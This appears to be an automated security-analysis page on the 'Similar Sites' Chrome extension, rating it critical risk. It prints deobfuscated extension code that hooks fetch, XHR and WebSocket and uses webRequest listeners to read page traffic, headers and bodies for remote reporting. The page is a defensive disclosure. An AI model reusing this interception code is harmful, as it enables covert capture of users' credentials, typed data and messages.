Is Similar Sites - Discover Related Websites safe?

Critical risk

Similar Sites is critical risk. When a matching remote rule sets the page gate, the extension hooks fetch and XHR to read response bodies and raise page events. Dynamic analysis saw the config POST and hook code, not bodies reaching the endpoint.…

SimilarWebv7.3.19Chrome Web Store
99Risk
Who publishes it

SimilarWeb - no other listings under this identity, 3 shared hostnames

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
SimilarWeb

Shared hosts - 3 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

data-api.similarsites.com
Also called by 4 other listings, including Similar Sites - Discover Related Websites
serving-api.similarsites.com
Also called by 5 other listings, including Similar Sites - Discover Related Websites
similarsites.com
Also called by 6 other listings, including Similar Sites - Discover Related Websites

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Fetch and XHR hooks can read page traffic bodies

When a matching remote rule sets the page gate, the extension hooks fetch and XHR to read response bodies and raise page events.

Dynamic analysis saw the config POST and hook code, not bodies reaching the endpoint.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You use a website while the extension has a matching remote rule for that page.

The rule must set the page-side sitessimilarityhash gate before the injected hook code runs.

The extension did this

The extension can replace fetch and XHR behavior and read request or response data from that page.

The hook dispatches CustomEvent messages named sitestatusplus for later processing by the content script.

Fields the hook code makes available
  • Request URL
    https://example.com/account/settings

    This shows which site or web API your browser contacted.

  • Request options
    {"method":"POST","credentials":"include"}

    This can include the method, headers, credentials mode, cache settings, and other request details.

  • Uploaded body
    email=user@example.com&remember=true

    If a matching rule asks for request data, submitted content can include values you typed into the page.

  • Response text
    {"accountStatus":"active","plan":"team"}

    The hook reads text or JSON returned by the site, which can reveal account or page content shown after the request.

Captured request
POSThttps://data-api.similarsites.com/content/config

200 response observed for the configuration request; no /numberOfSimilarSites request containing intercepted page data was captured.

Body
{  "sid": "a2dbadf9f"}
The code that does this

Fetch, XHR, relay, and reporting paths

Readable version

Readable fetch replacement

frame_ant/frame_ant.js
window.fetch = function(e, s) {  function r() {    const n = t.apply(this, [e, s]);    return a([e, s], n), n  }  if (!n.length) return r();  if (!n.find((t => new RegExp(t.page_url_match).test(location.href)))) return r();  const i = function(t) {    return "string" == typeof t ? t : t instanceof Request ? t.url : ""  }(e);  if (!n.find((t => new RegExp(t.request_url_match).test(i)))) return r();  let o, c = s || {}, l = null;  const f = e instanceof Request;  if (f && e.body instanceof ReadableStream) {    const t = { method: (u = e).method, headers: u.headers, referrer: u.referrer, referrerPolicy: u.referrerPolicy, mode: u.mode, credentials: u.credentials, cache: u.cache, redirect: u.redirect, integrity: u.integrity, keepalive: u.keepalive, signal: u.signal }, n = Object.assign({}, t, s), a = e.body.tee(), r = a[0], i = a[1];    o = [new Request(e.url, Object.assign({}, n, { body: r, duplex: "half" }))], l = { hasForkStream: !0, forkStream: i, originalContentType: e.headers.get("content-type") }  } else if (f) o = s ? [e, s] : [e];  else if (s && s.body instanceof ReadableStream) {    const t = s.body.tee(), n = t[0], a = t[1];    c = Object.assign({}, s, { body: n, duplex: "half" });    let r = "application/octet-stream";    s.headers && ("function" == typeof s.headers.get || s.headers instanceof Headers ? r = s.headers.get("content-type") || r : s.headers["content-type"] ? r = s.headers["content-type"] : s.headers["Content-Type"] && (r = s.headers["Content-Type"])), l = { hasForkStream: !0, forkStream: a, originalContentType: r }, o = [e, c]  } else o = s ? [e, s] : [e];  var u;  l && (o._metadata = l);  const p = t.apply(this, o);  if (a(o, p), n.length) try {    const t = "string" == typeof e ? e : e.url || e;    for (let a of n) if (!a.requires_resp && new RegExp(a.request_url_match).test(t) && s && s.body instanceof File) {      const n = s.body.name, r = s.body.type, i = URL.createObjectURL(s.body);      self.dispatchEvent(new CustomEvent("sitestatusplus-fk", { detail: { way: "fetch", ab: i, url: t, args: [e, s], name: n, type: r, fth: a.fork_to_host } }))    }  } catch (t) {}  return p}

Readable XHR replacement

frame_ant/frame_ant.js
t.open = function(t, e) {  try {    for (var a of n) new RegExp(a.request_url_match).test(e) && (this["sitestatusplus+"] = !0, this.fth = a.fork_to_host, this.c = a)  } catch (e) {}  return this.url = e, s.apply(this, arguments)}, t.send = function() {  return this.addEventListener("load", (function() {    var t = null;    try { t = this.responseText } catch (t) {}    var e = new CustomEvent("sitestatusplus", { detail: { way: "xhr", event: t, url: this.url } });    self.dispatchEvent(e)  })), e.apply(this, arguments), setTimeout((() => {    if (this["sitestatusplus+"] && arguments[0] instanceof File) {      var t = arguments[0].name, e = arguments[0].type, s = URL.createObjectURL(arguments[0]);      self.dispatchEvent(new CustomEvent("sitestatusplus-fk", { detail: { way: "xhr", ab: s, url: this.url, name: t, type: e, fth: this.fth, c: this.c } }))    }  }), 1e3)}

Readable content-script relay

content/content.js
async drainFunc(e, t) {  const n = K.initSourceMapSupport(h, T), r = K.initSourceMapSupport(h, i), a = K.initSourceMapSupport(h, y), o = K.initSourceMapSupport(h, k), s = K.initSourceMapSupport(h, l), c = K.initSourceMapSupport(h, f), u = t.url, p = t.detail || t;  for (let t = 0; t < e.length; t++) {    const i = e[t];    try {      if (i[n]) { const e = new RegExp(i[n]); if (!e.exec(u)) continue }      const e = i[r];      if (e) { const t = new b; if (t.createXMLFragment(e), !await t.kebabToCamel(p)) continue }      const t = i[a], l = new b;      l.createXMLFragment(t);      const S = await l.kebabToCamel(p);      if (!S) continue;      if (i[o]) { const e = new b; if (e.createXMLFragment(i[o]), !await e.kebabToCamel(S)) continue }      this.binarySearch({ [s]: i[s], [c]: S })    } catch (e) {}  }}binarySearch(e) {  const t = K.initSourceMapSupport(h, p), n = K.initSourceMapSupport(h, a), i = K.initSourceMapSupport(h, d);  chrome.runtime.sendMessage({ [t]: n, [i]: e })}async XMLHttpRequest(e) {  try { await this.drainFunc(this.circular2, e.detail || e) } catch (e) {}}

Readable SimilarSites POST path

background/background.js
testReallyEqual(e) {  return new Promise(((t, a) => { this.streamFilter(e, t, a) }))}streamFilter(e, t, n) {  try {    const n = this.hierarchy(e);    let i = [a.startMetrics, encodeURIComponent(e.data)].join(a.TakeLastOperator) + a.lineBreaks;    fetch(this._DeviceHubSharp, { method: a.kInit, headers: n, body: i }).then((n => {      const i = n.headers.get(a.to_node);      if (i) try { const e = JSON.parse(atob(i)); r.setSettings(e) } catch (e) {}      switch (n.status) {        case 200:        case 202:        case 204:          n.text().then((n => {            "function" == typeof t && t(n);            const r = a.newLastPage, i = { rsp: n };            i[r] = e, self.dispatchEvent(new CustomEvent(r, { detail: i }))          }))      }    })).catch((e => {}))  } catch (e) {}}get _DeviceHubSharp() {  return r.MainLocator() + a.vendors}
External host tied to configuration and reporting
    • data-api.similarsites.com

    Hosts the observed configuration endpoint and the code-defined /numberOfSimilarSites reporting path.

Browser request listeners can read headers and bodies

The extension registers webRequest listeners for remote request-parser rules; when active it reads matching URLs, methods, headers, and raw bodies before reporting.

Dynamic analysis saw the listener fire, not data reaching the endpoint.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You browse or submit a request that matches a remote parser rule.

The rule can constrain the URL, method, request search text, and body search text.

The extension did this

The extension's background listener can inspect the matching request before the page receives a response.

Body rules use onBeforeRequest with requestBody; header rules use onBeforeSendHeaders with requestHeaders and extraHeaders.

Request fields available to parser rules
  • Request URL
    https://example.com/search?q=benefits+enrollment

    This can reveal the site, path, and query values involved in the request.

  • Request method
    POST

    This distinguishes ordinary page loads from submissions or API calls that send data.

  • Request headers
    Authorization: Bearer redacted-token

    Headers can include cookies, authorization values, language settings, and other browser context.

  • Request body
    comment=Please approve purchase order 4821

    Submitted form or API data can include text you entered into a page.

Captured request
POSThttps://data-api.similarsites.com/content/config

Configuration traffic was observed; dynamic analysis also observed webRequest request-body events, but no rule-extracted POST to /numberOfSimilarSites was captured.

The code that does this

webRequest listener registration and all-host permission

Readable version

Readable body/header listener branch

background/background.js
asm_js_fn(e) {  const t = e.requestBody;  if (t) {    if (!t.raw || !t.raw.length) return t;    try {      const e = t.raw[0];      if (e.bytes) return (new TextDecoder).decode(e.bytes)    } catch (e) {      return { error: i + e.message }    }  }}runaway(e) {  return new Promise(((t, a) => {    chrome.tabs.get(e, (e => { chrome.runtime.lastError ? a(chrome.runtime.lastError) : t(e) }))  }))}hasASIProblem(e) { return e }async addClass(e, t) {  const a = new g;  a.createXMLFragment(e.analyse);  const n = await a.kebabToCamel(t);  if (!n) return;  if (!Object.keys(n).length && !e.allowEmpty) return;  const r = { type: e.type, data: n, meta: { frameId: t.wrDetails.frameId } };  try { const e = await this.runaway(t.wrDetails.tabId); r.meta.url = e.url, r.meta.tabId = e.id } catch (e) {}  return r}async partial(e, t) {  if (!t) return !1;  if (!e.filterPayload) return !0;  const a = new g;  return a.createXMLFragment(e.filterPayload), await a.kebabToCamel(t)}async startEmbeddedContent(e, t) {  const a = this.hasASIProblem(t), n = await this.addClass(e, a);  await this.partial(e, n) && m.Planner(n)}myfunc(e) {  const t = e.request_url_pattern, a = e.request_url_search, n = e.request_url_body_search, i = e.request_method_whitelist, s = async t => {    const { url: r, method: s } = t, o = { wrDetails: t };    if (!i || i.includes(s)) {      if (a && !new RegExp(a).exec(r)) return;      if (n && new RegExp(n).exec(r)) {        const e = this.asm_js_fn(t);        e && !e.error && (o.bodyData = e)      }      await this.startEmbeddedContent(e, o)    }  };  return n ? chrome.webRequest.onBeforeRequest.addListener(s, { urls: t }, [l]) : chrome.webRequest.onBeforeSendHeaders.addListener(s, { urls: t }, [r, h]), s}

Readable manifest permissions

manifest.json
"permissions": [  "tabs",  "webRequest",  "webNavigation",  "storage",  "scripting",  "contextMenus"],"host_permissions": [  "*://*/*"]
External host tied to rule delivery and reporting
    • data-api.similarsites.com

    Delivers observed configuration and is the host for the code-defined /numberOfSimilarSites reporting path.

WebSocket messages can be read after rule activation

When matching remote rules set the categorieshash gate, the extension hooks the page WebSocket constructor, emitting message body and URL via a page event.

Dynamic analysis saw the hook and config dependency, not a captured payload.

Severity
High unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You use a site that opens WebSocket connections while the extension has a matching remote rule.

Chat, collaboration, trading, and dashboard sites commonly use WebSocket messages for live updates.

The extension did this

The extension can wrap the page WebSocket object and read matching incoming messages with their socket URL.

The page event contains way: ws, message: t.data, and url: n.

Fields emitted by the WebSocket event
  • WebSocket URL
    wss://chat.example.com/realtime?room=team-ops

    This identifies the live service your page connected to.

  • Incoming message
    {"type":"message","channel":"support","text":"Can you review invoice 1842?"}

    This can include live page content delivered after the site is already open.

  • Message type marker
    ws

    This labels the event as WebSocket traffic so the extension can process it differently from fetch or XHR traffic.

Captured request
POSThttps://data-api.similarsites.com/content/config

Configuration traffic was observed; no captured request showed a WebSocket message payload going to /numberOfSimilarSites.

The code that does this

WebSocket wrapper and content-script relay

Readable version

Readable WebSocket replacement

frame_ant/frame_ant.js
if ("t844983k851i2j6l4ca56i73404n2fl867k3h956e52295948l394k9086" !== localStorage.getItem("categorieshash")) return;const t = window.WebSocket;let e = [], s = { status: !1 };function n(n, a, r) {  const i = new t(n, a, r);  return i.addEventListener("message", (function(t) {    if (!s.status) return;    if (!e.length) return;    if (!e.find((t => t.test(n)))) return;    const a = new CustomEvent("sitestatusplus-ws", { detail: { way: "ws", message: t.data, url: n } });    self.dispatchEvent(a)  })), i}n.prototype = t.prototype, window.WebSocket = n, self.addEventListener("sitestatusplus-ws-whitelistings", (t => {  const n = t.detail;  Array.isArray(n.list) && n.list.forEach((t => { e.push(new RegExp(t)) })), n.hasOwnProperty("turnOn") && (s.status = n.turnOn)}))

Readable WebSocket extraction relay

frame/frame.js
async store_x(t, e) {  const r = e.url, n = e.detail || e;  for (let e = 0; e < t.length; e++) {    const i = t[e];    if (i.request_url_match && !new RegExp(i.request_url_match).exec(r)) return;    const a = i.isOk;    if (a) { const t = new m; if (t.createXMLFragment(a), !await t.kebabToCamel(n)) return }    const s = i.analyse, o = new m;    o.createXMLFragment(s);    const c = await o.kebabToCamel(n);    if (!c) return;    if (i.filterPayload) { const t = new m; if (t.createXMLFragment(i.filterPayload), !await t.kebabToCamel(c)) return }    this.GetNameInfoReqWrap({ type: i.type, data: c })  }}GetNameInfoReqWrap(t) {  const e = w.initSourceMapSupport(u, c);  chrome.runtime.sendMessage({ topic: e, msg: t })}async normalizeTree(t) {  try { await this.store_x(this.actualJSX, t.detail) } catch (t) {}}

Readable WebSocket rule activation

frame/frame.js
async osTmpdir() {  const t = await this.basicSpecs();  if (this.actualJSX = t, !t.length || !t.find((t => new RegExp(t.page_url_match).test(location.href)))) {    localStorage.removeItem(S);    const t = w.initSourceMapSupport(u, h), e = {};    return e[w.initSourceMapSupport(u, n)] = !1, void self.dispatchEvent(new CustomEvent(a + t, { detail: e }))  }  localStorage.setItem(S, o);  const e = w.initSourceMapSupport(u, h), r = w.initSourceMapSupport(u, n), c = w.initSourceMapSupport(u, i), l = w.initSourceMapSupport(u, p), d = w.initSourceMapSupport(u, s), g = {};  g[c] = t.map((t => t[l])), g[r] = !0, self.dispatchEvent(new CustomEvent(a + e, { detail: g })), self.addEventListener(a + d, this.normalizeTree.bind(this))}
External host tied to configuration and reporting
    • data-api.similarsites.com

    Hosts the observed configuration endpoint and the code-defined /numberOfSimilarSites reporting path.

+3 more findings not shown

What it can do

Permissions this extension asks for, as declared in version 7.3.17. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 7.3.19, which we have not unpacked yet.

  • Read and change your data on every site you visit

    *://*/*

  • See the address and title of every tab you have open

    tabs

  • Watch every request your browser makes

    webRequest

  • See every page you navigate to, as you navigate to it

    webNavigation

  • Store data in your browser

    storage

  • Run its own code inside the pages you visit

    scripting

  • Add items to the right-click menu

    contextMenus

Updated 30 September 2026necpbmbhhdiplmfhmjicabdeighkndkn